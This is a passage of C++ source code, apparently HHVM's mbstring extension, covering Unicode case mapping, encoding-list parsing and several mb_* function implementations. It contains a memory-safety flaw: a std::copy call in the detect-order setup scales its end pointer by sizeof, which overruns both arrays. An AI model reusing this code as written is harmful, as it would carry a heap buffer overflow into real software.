current_language = language; current_internal_encoding = internal_encoding; current_http_output_encoding = http_output_encoding; current_filter_illegal_mode = filter_illegal_mode; current_filter_illegal_substchar = filter_illegal_substchar; if (!encoding_translation) { illegalchars = 0; } mbfl_encoding **entry = nullptr; int n = 0; if (current_detect_order_list) { return; } if (detect_order_list && detect_order_list_size > 0) { n = detect_order_list_size; entry = (mbfl_encoding **)malloc(n * sizeof(mbfl_encoding*)); std::copy(detect_order_list, detect_order_list + (n * sizeof(mbfl_encoding*)), entry); } else { mbfl_no_encoding *src = default_detect_order_list; n = default_detect_order_list_size; entry = (mbfl_encoding **)malloc(n * sizeof(mbfl_encoding*)); for (int i = 0; i < n; i++) { entry[i] = (mbfl_encoding*) mbfl_no2encoding(src[i]); } } current_detect_order_list = entry; current_detect_order_list_size = n; } void requestShutdown() override { if (current_detect_order_list != nullptr) { free(current_detect_order_list); current_detect_order_list = nullptr; current_detect_order_list_size = 0; } if (outconv != nullptr) { illegalchars += mbfl_buffer_illegalchars(outconv); mbfl_buffer_converter_delete(outconv); outconv = nullptr; } /* clear http input identification. */ http_input_identify = nullptr; http_input_identify_post = nullptr; http_input_identify_get = nullptr; http_input_identify_cookie = nullptr; http_input_identify_string = nullptr; current_mbctype = default_mbctype; search_str.clear(); search_pos = 0; if (search_regs != nullptr) { onig_region_free(search_regs, 1); search_regs = (OnigRegion *)nullptr; } for (RegexCache::const_iterator it = ht_rc.begin(); it != ht_rc.end(); ++it) { onig_free(it->second); } ht_rc.clear(); } }; IMPLEMENT_STATIC_REQUEST_LOCAL(MBGlobals, s_mb_globals); #define MBSTRG(name) s_mb_globals->name /////////////////////////////////////////////////////////////////////////////// // unicode functions /* * A simple array of 32-bit masks for lookup. */ static unsigned long masks32[32] = { 0x00000001, 0x00000002, 0x00000004, 0x00000008, 0x00000010, 0x00000020, 0x00000040, 0x00000080, 0x00000100, 0x00000200, 0x00000400, 0x00000800, 0x00001000, 0x00002000, 0x00004000, 0x00008000, 0x00010000, 0x00020000, 0x00040000, 0x00080000, 0x00100000, 0x00200000, 0x00400000, 0x00800000, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000 }; static int prop_lookup(unsigned long code, unsigned long n) { long l, r, m; /* * There is an extra node on the end of the offsets to allow this routine * to work right. If the index is 0xffff, then there are no nodes for the * property. */ if ((l = _ucprop_offsets[n]) == 0xffff) return 0; /* * Locate the next offset that is not 0xffff. The sentinel at the end of * the array is the max index value. */ for (m = 1; n + m < _ucprop_size && _ucprop_offsets[n + m] == 0xffff; m++) ; r = _ucprop_offsets[n + m] - 1; while (l <= r) { /* * Determine a "mid" point and adjust to make sure the mid point is at * the beginning of a range pair. */ m = (l + r) >> 1; m -= (m & 1); if (code > _ucprop_ranges[m + 1]) l = m + 2; else if (code < _ucprop_ranges[m]) r = m - 2; else if (code >= _ucprop_ranges[m] && code <= _ucprop_ranges[m + 1]) return 1; } return 0; } static int php_unicode_is_prop(unsigned long code, unsigned long mask1, unsigned long mask2) { unsigned long i; if (mask1 == 0 && mask2 == 0) return 0; for (i = 0; mask1 && i < 32; i++) { if ((mask1 & masks32[i]) && prop_lookup(code, i)) return 1; } for (i = 32; mask2 && i < _ucprop_size; i++) { if ((mask2 & masks32[i & 31]) && prop_lookup(code, i)) return 1; } return 0; } static unsigned long case_lookup(unsigned long code, long l, long r, int field) { long m; /* * Do the binary search. */ while (l <= r) { /* * Determine a "mid" point and adjust to make sure the mid point is at * the beginning of a case mapping triple. */ m = (l + r) >> 1; m -= (m % 3); if (code > _uccase_map[m]) l = m + 3; else if (code < _uccase_map[m]) r = m - 3; else if (code == _uccase_map[m]) return _uccase_map[m + field]; } return code; } static unsigned long php_turkish_toupper(unsigned long code, long l, long r, int field) { if (code == 0x0069L) { return 0x0130L; } return case_lookup(code, l, r, field); } static unsigned long php_turkish_tolower(unsigned long code, long l, long r, int field) { if (code == 0x0049L) { return 0x0131L; } return case_lookup(code, l, r, field); } static unsigned long php_unicode_toupper(unsigned long code, enum mbfl_no_encoding enc) { int field; long l, r; if (php_unicode_is_upper(code)) return code; if (php_unicode_is_lower(code)) { /* * The character is lower case. */ field = 2; l = _uccase_len[0]; r = (l + _uccase_len[1]) - 3; if (enc == mbfl_no_encoding_8859_9) { return php_turkish_toupper(code, l, r, field); } } else { /* * The character is title case. */ field = 1; l = _uccase_len[0] + _uccase_len[1]; r = _uccase_size - 3; } return case_lookup(code, l, r, field); } static unsigned long php_unicode_tolower(unsigned long code, enum mbfl_no_encoding enc) { int field; long l, r; if (php_unicode_is_lower(code)) return code; if (php_unicode_is_upper(code)) { /* * The character is upper case. */ field = 1; l = 0; r = _uccase_len[0] - 3; if (enc == mbfl_no_encoding_8859_9) { return php_turkish_tolower(code, l, r, field); } } else { /* * The character is title case. */ field = 2; l = _uccase_len[0] + _uccase_len[1]; r = _uccase_size - 3; } return case_lookup(code, l, r, field); } static unsigned long php_unicode_totitle(unsigned long code, enum mbfl_no_encoding enc) { int field; long l, r; if (php_unicode_is_title(code)) return code; /* * The offset will always be the same for converting to title case. */ field = 2; if (php_unicode_is_upper(code)) { /* * The character is upper case. */ l = 0; r = _uccase_len[0] - 3; } else { /* * The character is lower case. */ l = _uccase_len[0]; r = (l + _uccase_len[1]) - 3; } return case_lookup(code, l, r, field); } #define BE_ARY_TO_UINT32(ptr) (\ ((unsigned char*)(ptr))[0]<<24 |\ ((unsigned char*)(ptr))[1]<<16 |\ ((unsigned char*)(ptr))[2]<< 8 |\ ((unsigned char*)(ptr))[3] ) #define UINT32_TO_BE_ARY(ptr,val) { \ unsigned int v = val; \ ((unsigned char*)(ptr))[0] = (v>>24) & 0xff,\ ((unsigned char*)(ptr))[1] = (v>>16) & 0xff,\ ((unsigned char*)(ptr))[2] = (v>> 8) & 0xff,\ ((unsigned char*)(ptr))[3] = (v ) & 0xff;\ } /** * Return 0 if input contains any illegal encoding, otherwise 1. * Even if any illegal encoding is detected the result may contain a list * of parsed encodings. */ static int php_mb_parse_encoding_list(const char *value, int value_length, mbfl_encoding ***return_list, int *return_size, int persistent) { int n, l, size, bauto, ret = 1; char *p, *p1, *p2, *endp, *tmpstr; mbfl_encoding *encoding; mbfl_no_encoding *src; mbfl_encoding **entry, **list; list = nullptr; if (value == nullptr || value_length <= 0) { if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } return 0; } else { mbfl_no_encoding *identify_list; int identify_list_size; identify_list = MBSTRG(default_detect_order_list); identify_list_size = MBSTRG(default_detect_order_list_size); /* copy the value string for work */ if (value[0]=='"' && value[value_length-1]=='"' && value_length>2) { tmpstr = req::strndup(value + 1, value_length - 2); value_length -= 2; } else { tmpstr = req::strndup(value, value_length); } if (tmpstr == nullptr) { return 0; } /* count the number of listed encoding names */ endp = tmpstr + value_length; n = 1; p1 = tmpstr; while ((p2 = (char*)string_memnstr(p1, ",", 1, endp)) != nullptr) { p1 = p2 + 1; n++; } size = n + identify_list_size; /* make list */ list = (mbfl_encoding **)calloc(size, sizeof(mbfl_encoding*)); if (list != nullptr) { entry = list; n = 0; bauto = 0; p1 = tmpstr; do { p2 = p = (char*)string_memnstr(p1, ",", 1, endp); if (p == nullptr) { p = endp; } *p = '\0'; /* trim spaces */ while (p1 < p && (*p1 == ' ' || *p1 == '\t')) { p1++; } p--; while (p > p1 && (*p == ' ' || *p == '\t')) { *p = '\0'; p--; } /* convert to the encoding number and check encoding */ if (strcasecmp(p1, "auto") == 0) { if (!bauto) { bauto = 1; l = identify_list_size; src = identify_list; for (int i = 0; i < l; i++) { *entry++ = (mbfl_encoding*) mbfl_no2encoding(*src++); n++; } } } else { encoding = (mbfl_encoding*) mbfl_name2encoding(p1); if (encoding != nullptr) { *entry++ = encoding; n++; } else { ret = 0; } } p1 = p2 + 1; } while (n < size && p2 != nullptr); if (n > 0) { if (return_list) { *return_list = list; } else { free(list); } } else { free(list); if (return_list) { *return_list = nullptr; } ret = 0; } if (return_size) { *return_size = n; } } else { if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } ret = 0; } req::free(tmpstr); } return ret; } static char *php_mb_convert_encoding(const char *input, size_t length, const char *_to_encoding, const char *_from_encodings, unsigned int *output_len) { mbfl_string string, result, *ret; mbfl_encoding *from_encoding, *to_encoding; mbfl_buffer_converter *convd; int size; mbfl_encoding **list; char *output = nullptr; if (output_len) { *output_len = 0; } if (!input) { return nullptr; } /* new encoding */ if (_to_encoding && strlen(_to_encoding)) { to_encoding = (mbfl_encoding*) mbfl_name2encoding(_to_encoding); if (to_encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", _to_encoding); return nullptr; } } else { to_encoding = MBSTRG(current_internal_encoding); } /* initialize string */ mbfl_string_init(&string); mbfl_string_init(&result); from_encoding = MBSTRG(current_internal_encoding); string.no_encoding = from_encoding->no_encoding; string.no_language = MBSTRG(current_language); string.val = (unsigned char *)input; string.len = length; /* pre-conversion encoding */ if (_from_encodings) { list = nullptr; size = 0; php_mb_parse_encoding_list(_from_encodings, strlen(_from_encodings), &list, &size, 0); if (size == 1) { from_encoding = *list; string.no_encoding = from_encoding->no_encoding; } else if (size > 1) { /* auto detect */ from_encoding = (mbfl_encoding*) mbfl_identify_encoding2(&string, (const mbfl_encoding**) list, size, MBSTRG(strict_detection)); if (from_encoding != nullptr) { string.no_encoding = from_encoding->no_encoding; } else { raise_warning("Unable to detect character encoding"); from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; to_encoding = from_encoding; string.no_encoding = from_encoding->no_encoding; } } else { raise_warning("Illegal character encoding specified"); } if (list != nullptr) { free((void *)list); } } /* initialize converter */ convd = mbfl_buffer_converter_new2(from_encoding, to_encoding, string.len); if (convd == nullptr) { raise_warning("Unable to create character encoding converter"); return nullptr; } mbfl_buffer_converter_illegal_mode (convd, MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (convd, MBSTRG(current_filter_illegal_substchar)); /* do it */ ret = mbfl_buffer_converter_feed_result(convd, &string, &result); if (ret) { if (output_len) { *output_len = ret->len; } output = (char *)ret->val; } MBSTRG(illegalchars) += mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); return output; } static char *php_unicode_convert_case(int case_mode, const char *srcstr, size_t srclen, unsigned int *ret_len, const char *src_encoding) { char *unicode, *newstr; unsigned int unicode_len; unsigned char *unicode_ptr; size_t i; enum mbfl_no_encoding _src_encoding = mbfl_name2no_encoding(src_encoding); unicode = php_mb_convert_encoding(srcstr, srclen, "UCS-4BE", src_encoding, &unicode_len); if (unicode == nullptr) return nullptr; unicode_ptr = (unsigned char *)unicode; switch(case_mode) { case PHP_UNICODE_CASE_UPPER: for (i = 0; i < unicode_len; i+=4) { UINT32_TO_BE_ARY(&unicode_ptr[i], php_unicode_toupper(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } break; case PHP_UNICODE_CASE_LOWER: for (i = 0; i < unicode_len; i+=4) { UINT32_TO_BE_ARY(&unicode_ptr[i], php_unicode_tolower(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } break; case PHP_UNICODE_CASE_TITLE: { int mode = 0; for (i = 0; i < unicode_len; i+=4) { int res = php_unicode_is_prop (BE_ARY_TO_UINT32(&unicode_ptr[i]), UC_MN|UC_ME|UC_CF|UC_LM|UC_SK|UC_LU|UC_LL|UC_LT|UC_PO|UC_OS, 0); if (mode) { if (res) { UINT32_TO_BE_ARY (&unicode_ptr[i], php_unicode_tolower(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } else { mode = 0; } } else { if (res) { mode = 1; UINT32_TO_BE_ARY (&unicode_ptr[i], php_unicode_totitle(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } } } } break; } newstr = php_mb_convert_encoding(unicode, unicode_len, src_encoding, "UCS-4BE", ret_len); free(unicode); return newstr; } /////////////////////////////////////////////////////////////////////////////// // helpers /** * Return 0 if input contains any illegal encoding, otherwise 1. * Even if any illegal encoding is detected the result may contain a list * of parsed encodings. */ static int php_mb_parse_encoding_array(const Array& array, mbfl_encoding ***return_list, int *return_size, int persistent) { int n, l, size, bauto,ret = 1; mbfl_encoding *encoding; mbfl_no_encoding *src; mbfl_encoding **list, **entry; list = nullptr; mbfl_no_encoding *identify_list = MBSTRG(default_detect_order_list); int identify_list_size = MBSTRG(default_detect_order_list_size); size = array.size() + identify_list_size; list = (mbfl_encoding **)calloc(size, sizeof(mbfl_encoding*)); if (list != nullptr) { entry = list; bauto = 0; n = 0; for (ArrayIter iter(array); iter; ++iter) { auto const hash_entry = iter.second().toString(); if (strcasecmp(hash_entry.data(), "auto") == 0) { if (!bauto) { bauto = 1; l = identify_list_size; src = identify_list; for (int j = 0; j < l; j++) { *entry++ = (mbfl_encoding*) mbfl_no2encoding(*src++); n++; } } } else { encoding = (mbfl_encoding*) mbfl_name2encoding(hash_entry.data()); if (encoding != nullptr) { *entry++ = encoding; n++; } else { ret = 0; } } } if (n > 0) { if (return_list) { *return_list = list; } else { free(list); } } else { free(list); if (return_list) { *return_list = nullptr; } ret = 0; } if (return_size) { *return_size = n; } } else { if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } ret = 0; } return ret; } static bool php_mb_parse_encoding(const Variant& encoding, mbfl_encoding ***return_list, int *return_size, bool persistent) { bool ret; if (encoding.isArray()) { ret = php_mb_parse_encoding_array(encoding.toArray(), return_list, return_size, persistent ? 1 : 0); } else { String enc = encoding.toString(); ret = php_mb_parse_encoding_list(enc.data(), enc.size(), return_list, return_size, persistent ? 1 : 0); } if (!ret) { if (return_list && *return_list) { free(*return_list); *return_list = nullptr; } return_size = 0; } return ret; } static int php_mb_nls_get_default_detect_order_list(mbfl_no_language lang, mbfl_no_encoding **plist, int* plist_size) { size_t i; *plist = (mbfl_no_encoding *) php_mb_default_identify_list_neut; *plist_size = sizeof(php_mb_default_identify_list_neut) / sizeof(php_mb_default_identify_list_neut[0]); for (i = 0; i < sizeof(php_mb_default_identify_list) / sizeof(php_mb_default_identify_list[0]); i++) { if (php_mb_default_identify_list[i].lang == lang) { *plist = php_mb_default_identify_list[i].list; *plist_size = php_mb_default_identify_list[i].list_size; return 1; } } return 0; } static size_t php_mb_mbchar_bytes_ex(const char *s, const mbfl_encoding *enc) { if (enc != nullptr) { if (enc->flag & MBFL_ENCTYPE_MBCS) { if (enc->mblen_table != nullptr) { if (s != nullptr) return enc->mblen_table[*(unsigned char *)s]; } } else if (enc->flag & (MBFL_ENCTYPE_WCS2BE | MBFL_ENCTYPE_WCS2LE)) { return 2; } else if (enc->flag & (MBFL_ENCTYPE_WCS4BE | MBFL_ENCTYPE_WCS4LE)) { return 4; } } return 1; } static int php_mb_stripos(int mode, const char *old_haystack, int old_haystack_len, const char *old_needle, int old_needle_len, long offset, const char *from_encoding) { int n; mbfl_string haystack, needle; n = -1; mbfl_string_init(&haystack); mbfl_string_init(&needle); haystack.no_language = MBSTRG(current_language); haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; needle.no_language = MBSTRG(current_language); needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; do { haystack.val = (unsigned char *)php_unicode_convert_case (PHP_UNICODE_CASE_UPPER, old_haystack, (size_t)old_haystack_len, &haystack.len, from_encoding); if (!haystack.val) { break; } if (haystack.len <= 0) { break; } needle.val = (unsigned char *)php_unicode_convert_case (PHP_UNICODE_CASE_UPPER, old_needle, (size_t)old_needle_len, &needle.len, from_encoding); if (!needle.val) { break; } if (needle.len <= 0) { break; } haystack.no_encoding = needle.no_encoding = mbfl_name2no_encoding(from_encoding); if (haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", from_encoding); break; } int haystack_char_len = mbfl_strlen(&haystack); if (mode) { if ((offset > 0 && offset > haystack_char_len) || (offset < 0 && -offset > haystack_char_len)) { raise_warning("Offset is greater than the length of haystack string"); break; } } else { if (offset < 0 || offset > haystack_char_len) { raise_warning("Offset not contained in string."); break; } } n = mbfl_strpos(&haystack, &needle, offset, mode); } while(0); if (haystack.val) { free(haystack.val); } if (needle.val) { free(needle.val); } return n; } /////////////////////////////////////////////////////////////////////////////// static String convertArg(const Variant& arg) { return arg.isNull() ? null_string : arg.toString(); } Array HHVM_FUNCTION(mb_list_encodings) { Array ret; int i = 0; const mbfl_encoding **encodings = mbfl_get_supported_encodings(); const mbfl_encoding *encoding; while ((encoding = encodings[i++]) != nullptr) { ret.append(String(encoding->name, CopyString)); } return ret; } Variant HHVM_FUNCTION(mb_encoding_aliases, const String& name) { const mbfl_encoding *encoding; int i = 0; encoding = mbfl_name2encoding(name.data()); if (!encoding) { raise_warning("mb_encoding_aliases(): Unknown encoding \"%s\"", name.data()); return false; } Array ret = Array::Create(); if (encoding->aliases != nullptr) { while ((*encoding->aliases)[i] != nullptr) { ret.append((*encoding->aliases)[i]); i++; } } return ret; } Variant HHVM_FUNCTION(mb_list_encodings_alias_names, const Variant& opt_name) { const String name = convertArg(opt_name); const mbfl_encoding **encodings; const mbfl_encoding *encoding; mbfl_no_encoding no_encoding; int i, j; Array ret; if (name.isNull()) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { Array row; if (encoding->aliases != nullptr) { j = 0; while ((*encoding->aliases)[j] != nullptr) { row.append(String((*encoding->aliases)[j], CopyString)); j++; } } ret.set(String(encoding->name, CopyString), row); } } else { no_encoding = mbfl_name2no_encoding(name.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", name.data()); return false; } char *name = (char *)mbfl_no_encoding2name(no_encoding); if (name != nullptr) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { if (strcmp(encoding->name, name) != 0) continue; if (encoding->aliases != nullptr) { j = 0; while ((*encoding->aliases)[j] != nullptr) { ret.append(String((*encoding->aliases)[j], CopyString)); j++; } } break; } } else { return false; } } return ret; } Variant HHVM_FUNCTION(mb_list_mime_names, const Variant& opt_name) { const String name = convertArg(opt_name); const mbfl_encoding **encodings; const mbfl_encoding *encoding; mbfl_no_encoding no_encoding; int i; Array ret; if (name.isNull()) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { if (encoding->mime_name != nullptr) { ret.set(String(encoding->name, CopyString), String(encoding->mime_name, CopyString)); } else{ ret.set(String(encoding->name, CopyString), ""); } } } else { no_encoding = mbfl_name2no_encoding(name.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", name.data()); return false; } char *name = (char *)mbfl_no_encoding2name(no_encoding); if (name != nullptr) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { if (strcmp(encoding->name, name) != 0) continue; if (encoding->mime_name != nullptr) { return String(encoding->mime_name, CopyString); } break; } return empty_string_variant(); } else { return false; } } return ret; } bool HHVM_FUNCTION(mb_check_encoding, const Variant& opt_var, const Variant& opt_encoding) { const String var = convertArg(opt_var); const String encoding = convertArg(opt_encoding); mbfl_buffer_converter *convd; mbfl_no_encoding no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbfl_string string, result, *ret = nullptr; long illegalchars = 0; if (var.isNull()) { return MBSTRG(illegalchars) == 0; } if (!encoding.isNull()) { no_encoding = mbfl_name2no_encoding(encoding.data()); if (no_encoding == mbfl_no_encoding_invalid || no_encoding == mbfl_no_encoding_pass) { raise_warning("Invalid encoding \"%s\"", encoding.data()); return false; } } convd = mbfl_buffer_converter_new(no_encoding, no_encoding, 0); if (convd == nullptr) { raise_warning("Unable to create converter"); return false; } mbfl_buffer_converter_illegal_mode (convd, MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE); mbfl_buffer_converter_illegal_substchar (convd, 0); /* initialize string */ mbfl_string_init_set(&string, mbfl_no_language_neutral, no_encoding); mbfl_string_init(&result); string.val = (unsigned char *)var.data(); string.len = var.size(); ret = mbfl_buffer_converter_feed_result(convd, &string, &result); illegalchars = mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); if (ret != nullptr) { MBSTRG(illegalchars) += illegalchars; if (illegalchars == 0 && string.len == ret->len && memcmp((const char *)string.val, (const char *)ret->val, string.len) == 0) { mbfl_string_clear(&result); return true; } else { mbfl_string_clear(&result); return false; } } else { return false; } } Variant HHVM_FUNCTION(mb_convert_case, const String& str, int mode, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *enc = nullptr; if (encoding.empty()) { enc = MBSTRG(current_internal_encoding)->mime_name; } else { enc = encoding.data(); } unsigned int ret_len; char *newstr = php_unicode_convert_case(mode, str.data(), str.size(), &ret_len, enc); if (newstr) { return String(newstr, ret_len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_convert_encoding, const String& str, const String& to_encoding, const Variant& from_encoding /* = null_variant */) { String encoding = from_encoding.toString(); if (from_encoding.isArray()) { StringBuffer _from_encodings; Array encs = from_encoding.toArray(); for (ArrayIter iter(encs); iter; ++iter) { if (!_from_encodings.empty()) { _from_encodings.append(","); } _from_encodings.append(iter.second().toString()); } encoding = _from_encodings.detach(); } unsigned int size; char *ret = php_mb_convert_encoding(str.data(), str.size(), to_encoding.data(), (!encoding.empty() ? encoding.data() : nullptr), &size); if (ret != nullptr) { return String(ret, size, AttachString); } return false; } Variant HHVM_FUNCTION(mb_convert_kana, const String& str, const Variant& opt_option, const Variant& opt_encoding) { const String option = convertArg(opt_option); const String encoding = convertArg(opt_encoding); mbfl_string string, result, *ret; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); int opt = 0x900; if (!option.empty()) { const char *p = option.data(); int n = option.size(); int i = 0; opt = 0; while (i < n) { i++; switch (*p++) { case 'A': opt |= 0x1; break; case 'a': opt |= 0x10; break; case 'R': opt |= 0x2; break; case 'r': opt |= 0x20; break; case 'N': opt |= 0x4; break; case 'n': opt |= 0x40; break; case 'S': opt |= 0x8; break; case 's': opt |= 0x80; break; case 'K': opt |= 0x100; break; case 'k': opt |= 0x1000; break; case 'H': opt |= 0x200; break; case 'h': opt |= 0x2000; break; case 'V': opt |= 0x800; break; case 'C': opt |= 0x10000; break; case 'c': opt |= 0x20000; break; case 'M': opt |= 0x100000; break; case 'm': opt |= 0x200000; break; } } } /* encoding */ if (!encoding.empty()) { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } ret = mbfl_ja_jp_hantozen(&string, &result, opt); if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } static bool php_mbfl_encoding_detect(const Variant& var, mbfl_encoding_detector *identd, mbfl_string *string) { if (var.isArray() || var.is(KindOfObject)) { Array items = var.toArray(); for (ArrayIter iter(items); iter; ++iter) { if (php_mbfl_encoding_detect(iter.second(), identd, string)) { return true; } } } else if (var.isString()) { String svar = var.toString(); string->val = (unsigned char *)svar.data(); string->len = svar.size(); if (mbfl_encoding_detector_feed(identd, string)) { return true; } } return false; } static Variant php_mbfl_convert(const Variant& var, mbfl_buffer_converter *convd, mbfl_string *string, mbfl_string *result) { if (var.isArray()) { Array ret = empty_array(); Array items = var.toArray(); for (ArrayIter iter(items); iter; ++iter) { ret.set(iter.first(), php_mbfl_convert(iter.second(), convd, string, result)); } return ret; } if (var.is(KindOfObject)) { Object obj = var.toObject(); Array items = var.toArray(); for (ArrayIter iter(items); iter; ++iter) { obj->o_set(iter.first().toString(), php_mbfl_convert(iter.second(), convd, string, result)); } return var; // which still has obj } if (var.isString()) { String svar = var.toString(); string->val = (unsigned char *)svar.data(); string->len = svar.size(); mbfl_string *ret = mbfl_buffer_converter_feed_result(convd, string, result); return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return var; } Variant HHVM_FUNCTION(mb_convert_variables, const String& to_encoding, const Variant& from_encoding, VRefParam vars, const Array& args /* = null_array */) { mbfl_string string, result; mbfl_encoding *_from_encoding, *_to_encoding; mbfl_encoding_detector *identd; mbfl_buffer_converter *convd; int elistsz; mbfl_encoding **elist; char *name; /* new encoding */ _to_encoding = (mbfl_encoding*) mbfl_name2encoding(to_encoding.data()); if (_to_encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", to_encoding.data()); return false; } /* initialize string */ mbfl_string_init(&string); mbfl_string_init(&result); _from_encoding = MBSTRG(current_internal_encoding); string.no_encoding = _from_encoding->no_encoding; string.no_language = MBSTRG(current_language); /* pre-conversion encoding */ elist = nullptr; elistsz = 0; php_mb_parse_encoding(from_encoding, &elist, &elistsz, false); if (elistsz <= 0) { _from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } else if (elistsz == 1) { _from_encoding = *elist; } else { /* auto detect */ _from_encoding = nullptr; identd = mbfl_encoding_detector_new2((const mbfl_encoding**) elist, elistsz, MBSTRG(strict_detection)); if (identd != nullptr) { for (int n = -1; n < args.size(); n++) { if (php_mbfl_encoding_detect(n < 0 ? (Variant&)vars : args[n], identd, &string)) { break; } } _from_encoding = (mbfl_encoding*) mbfl_encoding_detector_judge2(identd); mbfl_encoding_detector_delete(identd); } if (_from_encoding == nullptr) { raise_warning("Unable to detect encoding"); _from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } } if (elist != nullptr) { free((void *)elist); } /* create converter */ convd = nullptr; if (_from_encoding != &mbfl_encoding_pass) { convd = mbfl_buffer_converter_new2(_from_encoding, _to_encoding, 0); if (convd == nullptr) { raise_warning("Unable to create converter"); return false; } mbfl_buffer_converter_illegal_mode (convd, MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (convd, MBSTRG(current_filter_illegal_substchar)); } /* convert */ if (convd != nullptr) { vars.assignIfRef(php_mbfl_convert(vars, convd, &string, &result)); for (int n = 0; n < args.size(); n++) { const_cast<Array&>(args).set(n, php_mbfl_convert(args[n], convd, &string, &result)); } MBSTRG(illegalchars) += mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); } if (_from_encoding != nullptr) { name = (char*) _from_encoding->name; if (name != nullptr) { return String(name, CopyString); } } return false; } Variant HHVM_FUNCTION(mb_decode_mimeheader, const String& str) { mbfl_string string, result, *ret; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); mbfl_string_init(&result); ret = mbfl_mime_header_decode(&string, &result, MBSTRG(current_internal_encoding)->no_encoding); if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } static Variant php_mb_numericentity_exec(const String& str, const Variant& convmap, const String& encoding, bool is_hex, int type) { int mapsize=0; mbfl_string string, result, *ret; mbfl_no_encoding no_encoding; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); if (type == 0 && is_hex) { type = 2; /* output in hex format */ } /* encoding */ if (!encoding.empty()) { no_encoding = mbfl_name2no_encoding(encoding.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } else { string.no_encoding = no_encoding; } } /* conversion map */ int *iconvmap = nullptr; if (convmap.isArray()) { Array convs = convmap.toArray(); mapsize = convs.size(); if (mapsize > 0) { iconvmap = (int*)malloc(mapsize * sizeof(int)); int *mapelm = iconvmap; for (ArrayIter iter(convs); iter; ++iter) { *mapelm++ = iter.second().toInt32(); } } } if (iconvmap == nullptr) { return false; } mapsize /= 4; ret = mbfl_html_numeric_entity(&string, &result, iconvmap, mapsize, type); free(iconvmap); if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_decode_numericentity, const String& str, const Variant& convmap, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); return php_mb_numericentity_exec(str, convmap, encoding, false, 1); } Variant HHVM_FUNCTION(mb_detect_encoding, const String& str, const Variant& encoding_list /* = null_variant */, const Variant& strict /* = null_variant */) { mbfl_string string; mbfl_encoding *ret; mbfl_encoding **elist, **list; int size; /* make encoding list */ list = nullptr; size = 0; php_mb_parse_encoding(encoding_list, &list, &size, false); if (size > 0 && list != nullptr) { elist = list; } else { elist = MBSTRG(current_detect_order_list); size = MBSTRG(current_detect_order_list_size); } long nstrict = 0; if (!strict.isNull()) { nstrict = strict.toInt64(); } else { nstrict = MBSTRG(strict_detection); } mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.val = (unsigned char *)str.data(); string.len = str.size(); ret = (mbfl_encoding*) mbfl_identify_encoding2(&string, (const mbfl_encoding**) elist, size, nstrict); if (list != nullptr) { free(list); } if (ret != nullptr) { return String(ret->name, CopyString); } return false; } Variant HHVM_FUNCTION(mb_detect_order, const Variant& encoding_list /* = null_variant */) { int n, size; mbfl_encoding **list, **entry; if (encoding_list.isNull()) { Array ret; entry = MBSTRG(current_detect_order_list); n = MBSTRG(current_detect_order_list_size); while (n > 0) { char *name = (char*) (*entry)->name; if (name) { ret.append(String(name, CopyString)); } entry++; n--; } return ret; } list = nullptr; size = 0; if (!php_mb_parse_encoding(encoding_list, &list, &size, false) || list == nullptr) { return false; } if (MBSTRG(current_detect_order_list)) { free(MBSTRG(current_detect_order_list)); } MBSTRG(current_detect_order_list) = list; MBSTRG(current_detect_order_list_size) = size; return true; } Variant HHVM_FUNCTION(mb_encode_mimeheader, const String& str, const Variant& opt_charset, const Variant& opt_transfer_encoding, const String& linefeed /* = 